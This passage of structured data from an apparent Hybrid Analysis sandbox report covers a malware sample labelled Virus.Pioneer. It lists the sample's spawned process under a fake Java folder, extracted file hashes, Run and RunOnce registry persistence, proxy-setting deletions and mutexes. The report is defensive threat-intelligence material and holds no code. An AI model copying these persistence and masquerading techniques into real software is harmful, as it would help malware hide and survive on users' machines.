no-cache","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}],"processes":[{"pid":2900,"ppid":0,"name":"1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46.exe","command_line":"","sha256":"1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46","normalized_path":"C:\\1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46.exe","uid":"00000000-00002900","icon":"$30"},{"pid":3508,"ppid":2900,"name":"igfxext.exe","command_line":"","sha256":"2570807fdb33c48ca8e54ed96b9df46069c4b77b3c5ad7be7bdb8ecf198c2b5b","normalized_path":"%APPDATA%\\Sun\\Java\\jre2.5.8\\igfxext.exe","parent_uid":"00000000-00002900","uid":"00000000-00003508"},{"pid":3464,"ppid":0,"name":"igfxext.exe","command_line":"/260","sha256":"2570807fdb33c48ca8e54ed96b9df46069c4b77b3c5ad7be7bdb8ecf198c2b5b","normalized_path":"%APPDATA%\\Sun\\Java\\jre2.5.8\\igfxext.exe","uid":"00000000-00003464","icon":"$31"}],"all_imported_dlls":["ntdll.dll","cryptbase.dll","imm32.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","urlmon.dll","mswsock.dll","wshqos.dll","winnsi.dll","iertutil.dll","npmproxy.dll","nlaapi.dll","ole32.dll","cryptnet.dll","wow64win.dll","shlwapi.dll","wship6.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","dhcpcsvc6.dll","setupapi.dll","devobj.dll","user32.dll","oleaut32.dll","webio.dll","rasadhlp.dll","devrtl.dll","wow64.dll","version.dll","msctf.dll","ws2_32.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","IPHLPAPI.DLL","uxtheme.dll","WSHTCPIP.DLL","RpcRtRemote.dll","netprofm.dll","usp10.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","normaliz.dll","FWPUCLNT.DLL","bcrypt.dll","sspicli.dll","msvcrt.dll","shell32.dll","clbcatq.dll","userenv.dll","dwmapi.dll","api-ms-win-downlevel-user32-l1-1-0.dll","secur32.dll","bcryptprimitives.dll","KernelBase.dll","lpk.dll","nsi.dll","wininet.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","cfgmgr32.dll","rpcrt4.dll","api-ms-win-downlevel-version-l1-1-0.dll","credssp.dll","SensApi.dll","apphelp.dll","profapi.dll","dnsapi.dll","rsaenh.dll","gpapi.dll","Wldap32.dll","msasn1.dll","kernel32.dll","wow64cpu.dll","sechost.dll","cabinet.dll","advapi32.dll","cryptsp.dll","schannel.dll","wintrust.dll","gdi32.dll","comctl32.dll","dhcpcsvc.dll","winhttp.dll","crypt32.dll","ncrypt.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"igfxext.exe.bin","sha256":"2570807fdb33c48ca8e54ed96b9df46069c4b77b3c5ad7be7bdb8ecf198c2b5b","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"igfxext.exe","sha256":"2570807fdb33c48ca8e54ed96b9df46069c4b77b3c5ad7be7bdb8ecf198c2b5b","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"Tar601F.tmp","sha256":"bdd5111162a6fa25682e18fa74e37e676d49cafcb5b7207e98e5256d1ef0d003","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"EQUMH7O4.txt","sha256":"51b6f20d5f324d554b0fe65e335b3dba12cfd4b322487bbf91cd9805ba323620","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"AXKNNIKS.txt","sha256":"6677d6280035a514e62924dc941487f8fc1353763de7fcb1fa61f3ee70dc9488","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"77EC63BDA74BD0D0E0426DC8F8008506","sha256":"6b0ceccf0103afd89844761417c1d23acc41f8aebf3b7230765209b61eee5658","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"Cab601E.tmp","sha256":"6b0ceccf0103afd89844761417c1d23acc41f8aebf3b7230765209b61eee5658","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D","sha256":"cba2a9394679dc73d2f4da93bc4b35d32e52989d23e4b314c439865530d95191","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sha256":"77318abe2e0aaafb179cae5251da605f99b3385f0b4cff0a4ac19368a92f5ba8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"XP41HVLQ.txt","sha256":"e570e9783d281847a3479faee28f924db834a078aa466a159b3a5650857c29f0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"W7BNPFGH.txt","sha256":"c7842d340443a518289381d1cf4c266b9bcb39b18ad141b36a33df672a8b653d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E","sha256":"344f7007d93fbf90bf8ba8b6c1ed626d4e16f8eab294863692d6666c0c3917b9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"B063I7JR.txt","sha256":"ae3f1a1b0da7f6fd9bd6307233ece657b73a5d1698a893c473a7a3adc94ee72d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"3C4A9AB1.txt","sha256":"3a7952c3a68fe73ba01e0eeba8d8008bd0fac5ceb05c1eee7f3a55e75a56dbad","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]}],"files_written":[{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SESSION MANAGER\\","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\TINTSETP.EXE\\TINTSETP.EXE","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\NWIZ\\NWIZ","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTODETECT\\AUTODETECT","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\320111223","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"320111223","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]}]}},"report_ids":{"sandbox_job_ids":["61f9815f13de3845943bf78b"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Virus.Pioneer Sample 1d24d8268c2f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 1d24d8268c2f…. Malware family: Virus.Pioneer. Threat score 100/100. 19/28 AV engines flagged this file. 9 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46"}],["$","meta","4",{"property":"og:title","content":"Malicious Virus.Pioneer Sample 1d24d8268c2f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 1d24d8268c2f…. Malware family: Virus.Pioneer. Threat score 100/100. 19/28 AV engines flagged this file. 9 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Virus.Pioneer Sample 1d24d8268c2f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 1d24d8268c2f…. Malware family: Virus.Pioneer. Threat score 100/100. 19/28 AV engines flagged this file. 9 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L32","11",{}]]